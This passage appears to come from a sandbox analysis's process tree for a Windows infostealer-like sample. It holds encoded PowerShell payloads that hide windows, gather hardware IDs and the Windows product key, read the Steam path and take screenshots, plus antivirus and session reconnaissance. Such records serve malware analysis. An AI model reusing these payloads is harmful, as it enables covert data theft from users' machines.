                                                                                                                                                                                                                        powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABtAGUAbQBiAGUAcgAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABJAG4AdABQAHQAcgAgAGgAVwBuAGQALAAgAGkAbgB0ACAAbgBDAG0AZABTAGgAbwB3ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJwA7ACQAdAB5AHAAZQAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAG0AZQBtAGIAZQByACAALQBOAGEAbQBlACAAVwBpAG4AMwAyAFMAaABvAHcAVwBpAG4AZABvAHcAIAAtAFAAYQBzAHMAVABoAHIAdQA7ACQAaAB3AG4AZAAgAD0AIAAkAHQAeQBwAGUAOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAJAB0AHkAcABlADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABoAHcAbgBkACwAIAAwACkA
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:2244
                                                                                                                                                                                                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                                            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1sz5rjek\1sz5rjek.cmdline"
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                              PID:2924
                                                                                                                                                                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEA76.tmp" "c:\Users\Admin\AppData\Local\Temp\1sz5rjek\CSC535E9AE39DB455D982B4796FBBCCD3.TMP"
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:4184
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "net session"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:6208
                                                                                                                                                                                                                              • C:\Windows\System32\net.exe
                                                                                                                                                                                                                                net session
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:6120
                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                    C:\Windows\system32\net1 session
                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                      PID:4688
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:3524
                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                      wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:2584
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:3840
                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                          powershell.exe -NoP -NonI -Exec Bypass -Enc CgAkAE8AdQB0AHAAdQB0ACAAPQAgAEAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEcAUABVACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBZAFMAVABFAE0AXABDAHUAcgByAGUAbgB0AEMAbwBuAHQAcgBvAGwAUwBlAHQAXABDAG8AbgB0AHIAbwBsAFwAQwBsAGEAcwBzAFwAewA0AGQAMwA2AGUAOQA2ADgALQBlADMAMgA1AC0AMQAxAGMAZQAtAGIAZgBjADEALQAwADgAMAAwADIAYgBlADEAMAAzADEAOAB9AFwAMAAwADAAMAAnACAALQBOAGEAbQBlACAARAByAGkAdgBlAHIARABlAHMAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ARAByAGkAdgBlAHIARABlAHMAYwAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAKQAgAHsAIAB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARwBQAFUAIAA9ACAAKABHAGUAdAAtAEMAaQBtAEkAbgBzAHQAYQBuAGMAZQAgAFcAaQBuADMAMgBfAFYAaQBkAGUAbwBDAG8AbgB0AHIAbwBsAGwAZQByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEAKQAuAE4AYQBtAGUAIAB9ACAAYwBhAHQAYwBoACAAewB9ACAAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABkACAAPQAgAEcAZQB0AC0AUABTAEQAcgBpAHYAZQAgAEMAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQATwB1AHQAcAB1AHQALgBEAGkAcwBrAEYAcgBlAGUAIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAZAAuAEYAcgBlAGUAIAAvACAAMQBHAEIALAAgADIAKQAKACAAIAAgACAAJABPAHUAdABwAHUAdAAuAEQAaQBzAGsAVABvAHQAYQBsACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAoACQAZAAuAFUAcwBlAGQAIAArACAAJABkAC4ARgByAGUAZQApACAALwAgADEARwBCACwAIAAyACkACgB9ACAAYwBhAHQAYwBoACAAewB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAEgAVwBJAEQAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsATABNADoAXABTAFkAUwBUAEUATQBcAEMAdQByAHIAZQBuAHQAQwBvAG4AdAByAG8AbABTAGUAdABcAEMAbwBuAHQAcgBvAGwAXABJAEQAQwBvAG4AZgBpAGcARABCAFwASABhAHIAZAB3AGEAcgBlACAAUAByAG8AZgBpAGwAZQBzAFwAMAAwADAAMQAnACAALQBOAGEAbQBlACAASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4ASAB3AFAAcgBvAGYAaQBsAGUARwB1AGkAZAAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgBpAGYAIAAoAC0AbgBvAHQAIAAkAE8AdQB0AHAAdQB0AC4ASABXAEkARAApACAAewAgAHQAcgB5ACAAewAgACQATwB1AHQAcAB1AHQALgBIAFcASQBEACAAPQAgACgARwBlAHQALQBDAGkAbQBJAG4AcwB0AGEAbgBjAGUAIABXAGkAbgAzADIAXwBDAG8AbQBwAHUAdABlAHIAUwB5AHMAdABlAG0AUAByAG8AZAB1AGMAdAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AVQBVAEkARAAgAH0AIABjAGEAdABjAGgAIAB7AH0AIAB9AAoAdAByAHkAIAB7ACAAJABPAHUAdABwAHUAdAAuAFUAQQBDACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFAAbwBsAGkAYwBpAGUAcwBcAFMAeQBzAHQAZQBtACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBFAG4AYQBiAGwAZQBMAFUAQQAgAH0AIABjAGEAdABjAGgAIAB7AH0ACgB0AHIAeQAgAHsAIAAkAE8AdQB0AHAAdQB0AC4ARgBpAHIAZQB3AGEAbABsACAAPQAgACgARwBlAHQALQBOAGUAdABGAGkAcgBlAHcAYQBsAGwAUAByAG8AZgBpAGwAZQAgAC0AUAByAG8AZgBpAGwAZQAgAEQAbwBtAGEAaQBuACwAUAB1AGIAbABpAGMALABQAHIAaQB2AGEAdABlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAEUAbgBhAGIAbABlAGQAIAAtAGUAcQAgACcAVAByAHUAZQAnACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBFAHgAcABhAG4AZABQAHIAbwBwAGUAcgB0AHkAIABOAGEAbQBlACkAIAAtAGoAbwBpAG4AIAAnACwAIAAnACAAfQAgAGMAYQB0AGMAaAAgAHsAfQAKAHQAcgB5ACAAewAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAE4AVABcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFMAbwBmAHQAdwBhAHIAZQBQAHIAbwB0AGUAYwB0AGkAbwBuAFAAbABhAHQAZgBvAHIAbQAnACAALQBOAGEAbQBlACAAQgBhAGMAawB1AHAAUAByAG8AZAB1AGMAdABLAGUAeQBEAGUAZgBhAHUAbAB0ACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkALgBCAGEAYwBrAHUAcABQAHIAbwBkAHUAYwB0AEsAZQB5AEQAZQBmAGEAdQBsAHQACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAawBlAHkAKQAgAHsAIAAkAGsAZQB5ACAAPQAgACgARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAATgBUAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARABlAGYAYQB1AGwAdABQAHIAbwBkAHUAYwB0AEsAZQB5ACcAIAAtAE4AYQBtAGUAIABQAHIAbwBkAHUAYwB0AEkAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUAByAG8AZAB1AGMAdABJAGQAIAB9AAoAIAAgACAAIAAkAE8AdQB0AHAAdQB0AC4AVwBpAG4ASwBlAHkAIAA9ACAAJABrAGUAeQAKAH0AIABjAGEAdABjAGgAIAB7AH0ACgAkAE8AdQB0AHAAdQB0ACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgAgAC0AQwBvAG0AcAByAGUAcwBzAAoA
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:6136
                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:7076
                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:6832
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:6932
                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                  powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJwBIAEsAQwBVADoAXABTAE8ARgBUAFcAQQBSAEUAXABWAGEAbAB2AGUAXABTAHQAZQBhAG0AJwAgAC0ATgBhAG0AZQAgACcAUwB0AGUAYQBtAFAAYQB0AGgAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQApAC4AUwB0AGUAYQBtAFAAYQB0AGgA
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:6152
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoP -NonI -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7AEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwAkAGIAPQBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACQAYgBtAHAAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIALgBXAGkAZAB0AGgALAAkAGIALgBIAGUAaQBnAGgAdAA7ACQAZwA9AFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABiAG0AcAApADsAJABnAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAC4ATABvAGMAYQB0AGkAbwBuACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBQAG8AaQBuAHQAXQA6ADoARQBtAHAAdAB5ACwAJABiAC4AUwBpAHoAZQApADsAJABiAG0AcAAuAFMAYQB2AGUAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAXwA1ADIAZQBqAGUAaQBcAHMAYwByAGUAZQBuAHMAaABvAHQALgBqAHAAZwAnACwAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAG